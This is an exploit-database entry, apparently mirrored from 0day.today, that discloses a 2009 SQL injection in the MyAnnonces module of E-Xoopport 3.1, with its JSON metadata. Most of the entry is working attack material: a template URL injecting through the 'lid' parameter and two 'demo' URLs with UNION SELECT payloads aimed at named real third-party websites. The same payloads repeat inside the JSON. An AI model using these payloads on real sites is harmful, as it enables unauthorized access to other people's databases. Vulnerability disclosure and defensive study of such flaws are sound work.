Search...

E-Xoopport 3.1 Module MyAnnonces (lid) SQL Injection Vulnerability

2009-07-20T00:00:00

ID 1337DAY-ID-5522
Type zdt
Reporter Vrs-hCk
Modified 2009-07-20T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
E-Xoopport 3.1 Module MyAnnonces (lid) SQL Injection Vulnerability
==================================================================


================================================================================================

 Title    : Remote SQL Injection Vulnerability
 Software : MyAnnonces Module for E-Xoopport 3.1
 Vendor   : http://www.e-xoopport.it/
 
 Date     : 17 July 2009 (Indonesia)
 Author   : Vrs-hCk

 ================================================================================================

 [-] Exploit

     http://[site]/[path]/modules/MyAnnonces/index.php?pa=viewannonces&lid=[SQLi]

 [-] Demo

     http://www.focolaccia.org/modules/MyAnnonces/index.php?pa=viewannonces&lid=-41' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*
     http://www.annuncisolidali.it/modules/MyAnnonces/index.php?pa=viewannonces&lid=-1946' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*

 ================================================================================================



#  0day.today [2018-04-04]  #

JSON Vulners Source

Initial Source

{"id": "1337DAY-ID-5522", "lastseen": "2018-04-04T03:39:24", "viewCount": 3, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 2, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2018-04-04T03:39:24", "rev": 2}, "dependencies": {"references": [], "modified": "2018-04-04T03:39:24", "rev": 2}, "vulnersScore": 0.1}, "type": "zdt", "sourceHref": "https://0day.today/exploit/5522", "description": "Exploit for unknown platform in category web applications", "title": "E-Xoopport 3.1 Module MyAnnonces (lid) SQL Injection Vulnerability", "cvelist": [], "sourceData": "==================================================================\r\nE-Xoopport 3.1 Module MyAnnonces (lid) SQL Injection Vulnerability\r\n==================================================================\r\n\r\n\r\n================================================================================================\r\n\r\n Title : Remote SQL Injection Vulnerability\r\n Software : MyAnnonces Module for E-Xoopport 3.1\r\n Vendor : http://www.e-xoopport.it/\r\n \r\n Date : 17 July 2009 (Indonesia)\r\n Author : Vrs-hCk\r\n\r\n ================================================================================================\r\n\r\n [-] Exploit\r\n\r\n http://[site]/[path]/modules/MyAnnonces/index.php?pa=viewannonces&lid=[SQLi]\r\n\r\n [-] Demo\r\n\r\n http://www.focolaccia.org/modules/MyAnnonces/index.php?pa=viewannonces&lid=-41' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*\r\n http://www.annuncisolidali.it/modules/MyAnnonces/index.php?pa=viewannonces&lid=-1946' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*\r\n\r\n ================================================================================================\r\n\r\n\r\n\n# 0day.today [2018-04-04] #", "published": "2009-07-20T00:00:00", "references": [], "reporter": "Vrs-hCk", "modified": "2009-07-20T00:00:00", "href": "https://0day.today/exploit/description/5522"}